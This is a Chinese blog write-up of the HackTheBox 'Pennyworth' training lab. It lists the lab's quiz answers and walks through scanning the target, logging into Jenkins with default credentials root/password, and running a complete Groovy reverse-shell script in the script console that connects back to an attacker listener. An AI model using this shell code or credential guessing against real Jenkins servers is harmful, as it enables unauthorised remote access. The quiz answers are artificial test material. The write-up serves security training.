HackTheBox-Starting Point--Tier 1---Pennyworth


一 题目

Tags

Web、Common Applications、Jenkins、Java、Reconnaissance、Remote Code Execution、Default Credentials

译文:Web、常见应用、Jenkins、Java、侦察、远程代码执行、默认凭证

Connect

To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.

译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。

SPAWN MACHINE

Spawn the target machine and the IP will show here.

译文:生成目标机器,IP 将显示在此处

TASK 1

What does the acronym CVE stand for?

译文:CVE缩写代表什么?

答:Common Vulnerabilities and Exposures

TASK 2

What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

译文:CIA 中的三个字母,指的是 CIA 在网络安全方面的哪三个方面?

答:Confidentiality, Integrity, Availability

TASK 3

What is the version of the service running on port 8080?

译文:8080 端口上运行的服务版本是什么?

答:Jetty 9.4.39.v20210325

TASK 4

What version of Jenkins is running on the target?

译文:目标上运行的 Jenkins 版本是什么?

答:2.289.1

TASK 5

What type of script is accepted as input on the Jenkins Script Console?

译文:Jenkins 脚本控制台接受什么类型的脚本作为输入?

答:Groovy

TASK 6

What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

译文:如果目标 VM 运行 Windows,Groovy 脚本片段中的“String cmd”变量等于什么?

答:cmd.exe

TASK 7

What is a different command than "ip a" we could use to display our network interfaces' information on Linux?

译文:我们可以使用什么命令来显示 Linux 上的网络接口信息,而不是“ip a”?

答:ifconfig

TASK 8

What switch should we use with netcat for it to use UDP transport mode?

译文:我们应该对 netcat 使用什么开关才能使用 UDP 传输模式?

答:-u

TASK 9

What is the term used to describe making a target host initiate a connection back to the attacker host?

译文:用于描述使目标主机发起与攻击者主机的连接的术语是什么?

答:reverse shell

SUBMIT FLAG

Submit root flag

译文:提交根标志

二 实验过程

1.端口扫描

nmap -sC -sV 10.129.152.201

在这里插入图片描述

2.访问8080端口

在这里插入图片描述

3.登录口没有做任何防御,进行爆破

账号密码:root/password

4.访问 :8080/script,利用Groovy命令获取反弹shell

在Jenkins脚本控制台中,可以编写和运行Groovy脚本,尝试在Jenkins控制台插入反弹shell脚本。

# 在攻击机执行监听
ncat -nvlp 1234

访问target_ip:8080/script,在Jenkins控制台插入Groovy脚本,点击run运行

在这里插入图片描述

String host="host_ip";
int port=监听端口;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

5.攻击者获取到shell

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值